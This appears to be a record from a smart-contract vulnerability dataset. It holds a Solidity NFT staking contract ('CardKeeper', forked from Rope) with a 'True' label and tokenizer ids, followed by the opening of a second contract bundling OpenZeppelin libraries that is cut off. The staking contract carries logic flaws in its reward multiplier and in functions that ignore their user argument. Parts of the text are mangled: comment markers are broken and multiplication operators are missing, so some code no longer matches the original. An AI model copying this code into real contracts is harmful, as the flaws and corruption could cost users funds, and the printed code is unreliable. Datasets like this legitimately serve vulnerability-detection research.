external; function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external; function setApprovalForAll(address _operator, bool _approved) external; function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator); function balanceOf(address _owner, uint256 _id) external view returns (uint256); function mintBatch(address user, uint256[] calldata ids, uint256[] calldata amounts) external; function burn( address _account, uint256 _id, uint256 _amount ) external; } interface Toshicash { function totalSupply() external view returns (uint256); function totalClaimed() external view returns (uint256); function addClaimed(uint256 _amount) external; function setClaimed(uint256 _amount) external; function transfer(address receiver, uint numTokens) external returns (bool); function transferFrom(address owner, address buyer, uint numTokens) external returns (bool); function balanceOf(address owner) external view returns (uint256); function mint(address _to, uint256 _amount) external; function burn(address _account, uint256 value) external; } /* * This contract was forked from Rope's VendingMachine contract: * https://etherscan.io/address/0x4c842514fb55323acc51aa575ec4b7d1be1e0694#code * * All code attribution goes to Rope and the Rope development team: * https://rope.lol / contract CardKeeper is Ownable { using SafeMath for uint256; struct CardSet { uint256[] cardIds; uint256 toshicashPerDayPerCard; } RMU public ropeMaker; Toshicash public toshicash; uint256[] public cardSetList; uint256 public highestCardId; mapping (uint256 => CardSet) public cardSets; mapping (uint256 => uint256) public cardToSetMap; mapping (address => mapping(uint256 => uint256)) public userCards; mapping (address => uint256) public userLastUpdate; mapping(uint256 => mapping(address => UserInfoERC1155)) public userInfoERC1155; mapping(uint256 => uint256) public eRC1155MultiplierIds; mapping(address => ERC1155MultiplierUserInfo) public userMultiplier; event Stake(address indexed user, uint256[] cardIds, uint256[] amounts); event Unstake(address indexed user, uint256[] cardIds, uint256[] amounts); event Harvest(address indexed user, uint256 amount); struct UserInfoERC1155 { uint256 amountInPool; / * At any point in time, the amount of ToshiCoin earned by a user waiting to be claimed is: * * Pending claim = (user.amountInPool * pool.coinsEarnedPerToken) - user.coinsReceivedToDate * * Whenever a user deposits or withdraws tokens to a pool, the following occurs: * 1. The pool's `coinsEarnedPerToken` is rebalanced to account for the new shares in the pool. * 2. The `lastRewardBlock` is updated to the latest block. * 3. The user receives the pending claim sent to their address. * 4. The user's `amountInPool` and `coinsReceivedToDate` get updated for this pool. / } struct ERC1155Multiplier { uint256 id; uint256 percentBoost; } struct ERC1155MultiplierUserInfo { uint256 multiplier; uint256 total; } ERC1155Multiplier[] public eRC1155Multiplier; constructor(RMU _ropeMakerAddr, Toshicash _toshicashAddr) public { ropeMaker = _ropeMakerAddr; toshicash = _toshicashAddr; } // Utility function to check if a value is inside an array function _isInArray(uint256 _value, uint256[] memory _array) internal pure returns(bool) { uint256 length = _array.length; for (uint256 i = 0; i < length; ++i) { if (_array[i] == _value) { return true; } } return false; } // Index of the value in the return array is the cardId, value is whether card is staked or not function getCardsStakedOfAddress(address _user) public view returns(uint256[] memory) { uint256[] memory cardsStaked = new uint256[](highestCardId + 1); for (uint256 i = 0; i < highestCardId + 1; ++i) { cardsStaked[i] = userCards[_user][i]; } return cardsStaked; } // Returns the list of cardIds which are part of a set function getCardIdListOfSet(uint256 _setId) external view returns(uint256[] memory) { return cardSets[_setId].cardIds; } function addCardSet(uint256 _setId, uint256[] memory _cardIds, uint256 _toshicashPerDayPerCard) public onlyOwner { uint256 length = _cardIds.length; for (uint256 i = 0; i < length; ++i) { uint256 cardId = _cardIds[i]; if (cardId > highestCardId) { highestCardId = cardId; } // Check all cards to assign arent already part of another set require(cardToSetMap[cardId] == 0, "Card already assigned to a set"); // Assign to set cardToSetMap[cardId] = _setId; } if (_isInArray(_setId, cardSetList) == false) { cardSetList.push(_setId); } cardSets[_setId] = CardSet({ cardIds: _cardIds, toshicashPerDayPerCard: _toshicashPerDayPerCard }); } // Returns the total toshicash pending for a given address // Can include the bonus from toshicashBooster or not function totalPendingToshicashOfAddress(address _user, bool _includeToshicashBooster) public view returns (uint256) { uint256 totalToshicashPerDay = 0; uint256 length = cardSetList.length; for (uint256 i = 0; i < length; ++i) { uint256 setId = cardSetList[i]; CardSet storage set = cardSets[setId]; uint256 cardLength = set.cardIds.length; uint256 setToshicashPerDay = 0; for (uint256 j = 0; j < cardLength; ++j) { setToshicashPerDay = setToshicashPerDay.add(set.toshicashPerDayPerCard.mul(userCards[_user][set.cardIds[j]])); } totalToshicashPerDay = totalToshicashPerDay.add(setToshicashPerDay); } // Apply toshicashBooster bonus if (_includeToshicashBooster) { uint256 toAdd = 0; totalToshicashPerDay = totalToshicashPerDay.add(toAdd); } uint256 lastUpdate = userLastUpdate[_user]; uint256 blockTime = block.timestamp; return blockTime.sub(lastUpdate).mul(totalToshicashPerDay.div(86400)); } ////////////////////////////// ////////////////////////////// ////////////////////////////// // Set manually the highestCardId, in case there has been a mistake while adding a set // (This value is used to know the range in which iterate to get the list of staked cards for an address) function setHighestCardId(uint256 _highestId) public onlyOwner { require(_highestId > 0); highestCardId = _highestId; } // Set the toshicashPerDayPerCard value for a list of sets function setToshicashRateOfSets(uint256[] memory _setIds, uint256[] memory _toshicashPerDayPerCard) public onlyOwner { require(_setIds.length == _toshicashPerDayPerCard.length, "_setId and _toshicashPerDayPerCard have different length"); for (uint256 i = 0; i < _setIds.length; ++i) { require(cardSets[_setIds[i]].cardIds.length > 0, "Set is empty"); cardSets[_setIds[i]].toshicashPerDayPerCard = _toshicashPerDayPerCard[i]; } } function harvest() public { ERC1155MultiplierUserInfo storage multiplier = userMultiplier[msg.sender]; uint256 pendingToshicash = totalPendingToshicashOfAddress(msg.sender, true); userLastUpdate[msg.sender] = block.timestamp; pendingToshicash = pendingToshicash.add( pendingToshicash.mul(multiplier.multiplier).div( 100)); if (pendingToshicash > 0) { toshicash.mint(msg.sender, pendingToshicash); } emit Harvest(msg.sender, pendingToshicash); } function stake(uint256[] memory _cardIds, uint256[] memory _cardAmounts) public { require(_cardIds.length > 0, "_cardIds array empty"); harvest(); for (uint256 i = 0; i < _cardIds.length; ++i) { require(cardToSetMap[_cardIds[i]] != 0, "Card is not part of any set"); } ropeMaker.mintBatch(address(this), _cardIds, _cardAmounts); for (uint256 i = 0; i < _cardIds.length; ++i) { userCards[msg.sender][_cardIds[i]] = userCards[msg.sender][_cardIds[i]].add(_cardAmounts[i]); ropeMaker.burn(msg.sender, _cardIds[i], _cardAmounts[i]); } emit Stake(msg.sender, _cardIds, _cardAmounts); } function unstake(uint256[] memory _cardIds, uint256[] memory _cardAmounts) public { require(_cardIds.length > 0, "_cardIds array empty"); harvest(); for (uint256 i = 0; i < _cardIds.length; ++i) { require(userCards[msg.sender][_cardIds[i]] >= _cardAmounts[i], "Card not staked"); userCards[msg.sender][_cardIds[i]] = userCards[msg.sender][_cardIds[i]].sub(_cardAmounts[i]); ropeMaker.burn(address(this), _cardIds[i], _cardAmounts[i]); } ropeMaker.mintBatch(msg.sender, _cardIds, _cardAmounts); emit Unstake(msg.sender, _cardIds, _cardAmounts); } // Withdraw without rewards function emergencyUnstake(uint256[] memory _cardIds, uint256[] memory _cardAmounts) public { userLastUpdate[msg.sender] = block.timestamp; uint256 length = _cardIds.length; for (uint256 i = 0; i < length; ++i) { uint256 cardId = _cardIds[i]; require(userCards[msg.sender][cardId] >= _cardAmounts[i], "Card not staked"); userCards[msg.sender][cardId] = userCards[msg.sender][cardId].sub(_cardAmounts[i]); } ropeMaker.safeBatchTransferFrom(address(this), msg.sender, _cardIds, _cardAmounts, ""); } function userMultiplierValue(address user) public view returns (uint256) { return userMultiplier[msg.sender].multiplier; } function userERC155StakedTotal(address user) public view returns (uint256) { return userMultiplier[msg.sender].total; } function addERC1155Multiplier(uint256 _id, uint256 _percentBoost) public onlyOwner { require( eRC1155MultiplierIds[_id] == 0, "ToshiCashFarm: Cannot add duplicate Toshimon ERC1155" ); eRC1155Multiplier.push( ERC1155Multiplier({ id:_id, percentBoost: _percentBoost }) ); eRC1155MultiplierIds[_id] = 1; } /* * @dev Deposit tokens into a pool and claim pending reward. / function depositERC1155(uint256 poolId, uint256 quantity) public { ERC1155Multiplier storage erc1155 = eRC1155Multiplier[poolId]; UserInfoERC1155 storage user = userInfoERC1155[poolId][msg.sender]; ERC1155MultiplierUserInfo storage multiplier = userMultiplier[msg.sender]; uint256[] memory cardid = new uint256[](1); uint256[] memory cardamount = new uint256[](1); cardid[0] = erc1155.id; cardamount[0] = quantity; harvest(); ropeMaker.burn(msg.sender, erc1155.id, quantity); ropeMaker.mintBatch(address(this), cardid, cardamount); user.amountInPool = user.amountInPool.add(quantity); multiplier.multiplier = multiplier.multiplier.add(erc1155.percentBoost.mul(quantity)); multiplier.total = multiplier.total.add(erc1155.percentBoost.mul(quantity)); if(multiplier.multiplier > 100){ multiplier.multiplier = 100; } } /* * @dev Deposit tokens into a pool and claim pending reward. / function withdrawERC1155(uint256 poolId, uint256 quantity) public { ERC1155Multiplier storage erc1155 = eRC1155Multiplier[poolId]; UserInfoERC1155 storage user = userInfoERC1155[poolId][msg.sender]; ERC1155MultiplierUserInfo storage multiplier = userMultiplier[msg.sender]; require( user.amountInPool >= quantity, "ToshiCoinFarm: User does not have enough NFTS to withdraw from this pool" ); harvest(); user.amountInPool = user.amountInPool.sub(quantity); multiplier.total = multiplier.total.sub(erc1155.percentBoost.mul(quantity)); multiplier.multiplier = multiplier.total.mul(quantity); if(multiplier.multiplier > 100){ multiplier.multiplier = 100; } ropeMaker.burn(address(this), erc1155.id, quantity); uint256[] memory cardid = new uint256[](1); uint256[] memory cardamount = new uint256[](1); cardid[0] = erc1155.id; cardamount[0] = quantity; ropeMaker.mintBatch(msg.sender, cardid, cardamount); } ///////// ///////// ///////// /* * @notice Handle the receipt of a single ERC1155 token type * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated * This function MAY throw to revert and reject the transfer * Return of other amount than the magic value MUST result in the transaction being reverted * Note: The token contract address is always the message sender * @param _operator The address which called the `safeTransferFrom` function * @param _from The address which previously owned the token * @param _id The id of the token being transferred * @param _amount The amount of tokens being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` / function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4) { return 0xf23a6e61; } /* * @notice Handle the receipt of multiple ERC1155 token types * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated * This function MAY throw to revert and reject the transfer * Return of other amount than the magic value WILL result in the transaction being reverted * Note: The token contract address is always the message sender * @param _operator The address which called the `safeBatchTransferFrom` function * @param _from The address which previously owned the token * @param _ids An array containing ids of each token being transferred * @param _amounts An array containing amounts of each token being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` / function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4) { return 0xbc197c81; } /* * @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types. * @param interfaceID The ERC-165 interface ID that is queried for support.s * @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface. * This function MUST NOT consume more than 5,000 gas. * @return Wheter ERC-165 or ERC1155TokenReceiver interfaces are supported. */ function supportsInterface(bytes4 interfaceID) external view returns (bool) { return interfaceID == 0x01ffc9a7 \|\| // ERC-165 support (i.e. `bytes4(keccak256('supportsInterface(bytes4)'))`). interfaceID == 0x4e2312e0; // ERC-1155 `ERC1155TokenReceiver` support (i.e. `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")) ^ bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`). } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6021, 1011, 2410, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2184, 1011, 2324, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 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/** Submitted for verification at Etherscan.io on 2022-02-23 / // File: interfaces/IToeken.sol pragma solidity ^0.8.12; interface IToeken { function update(address from, address to) external; } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/interfaces/IERC165.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; // File: @openzeppelin/contracts/interfaces/IERC2981.sol // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol) pragma solidity ^0.8.0; /* * @dev Interface for the NFT Royalty Standard. * * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal * support for royalty payments across all NFT marketplaces and ecosystem participants. * * _Available since v4.5._ / interface IERC2981 is IERC165 { /* * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of * exchange. The royalty amount is denominated and should be payed in that same unit of exchange. / function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // File: @openzeppelin/contracts/token/common/ERC2981.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/common/ERC2981.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the NFT Royalty Standard, a standardized way to retrieve royalty payment information. * * Royalty information can be specified globally for all token ids via {_setDefaultRoyalty}, and/or individually for * specific token ids via {_setTokenRoyalty}. The latter takes precedence over the first. * * Royalty is specified as a fraction of sale price. {_feeDenominator} is overridable but defaults to 10000, meaning the * fee is specified in basis points by default. * * IMPORTANT: ERC-2981 only specifies a way to signal royalty information and does not enforce its payment. See * https://eips.ethereum.org/EIPS/eip-2981#optional-royalty-payments[Rationale] in the EIP. Marketplaces are expected to * voluntarily pay royalties together with sales, but note that this standard is not yet widely supported. * * _Available since v4.5._ / abstract contract ERC2981 is IERC2981, ERC165 { struct RoyaltyInfo { address receiver; uint96 royaltyFraction; } RoyaltyInfo private _defaultRoyaltyInfo; mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo; /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) { return interfaceId == type(IERC2981).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @inheritdoc IERC2981 / function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view virtual override returns (address, uint256) { RoyaltyInfo memory royalty = _tokenRoyaltyInfo[_tokenId]; if (royalty.receiver == address(0)) { royalty = _defaultRoyaltyInfo; } uint256 royaltyAmount = (_salePrice royalty.royaltyFraction) / _feeDenominator(); return (royalty.receiver, royaltyAmount); } /** * @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a * fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an * override. / function _feeDenominator() internal pure virtual returns (uint96) { return 10000; } /* * @dev Sets the royalty information that all ids in this contract will default to. * * Requirements: * * - `receiver` cannot be the zero address. * - `feeNumerator` cannot be greater than the fee denominator. / function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual { require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice"); require(receiver != address(0), "ERC2981: invalid receiver"); _defaultRoyaltyInfo = RoyaltyInfo(receiver, feeNumerator); } /* * @dev Removes default royalty information. / function _deleteDefaultRoyalty() internal virtual { delete _defaultRoyaltyInfo; } /* * @dev Sets the royalty information for a specific token id, overriding the global default. * * Requirements: * * - `tokenId` must be already minted. * - `receiver` cannot be the zero address. * - `feeNumerator` cannot be greater than the fee denominator. / function _setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) internal virtual { require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice"); require(receiver != address(0), "ERC2981: Invalid parameters"); _tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator); } /* * @dev Resets royalty information for the token id back to the global default. / function _resetTokenRoyalty(uint256 tokenId) internal virtual { delete _tokenRoyaltyInfo[tokenId]; } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: 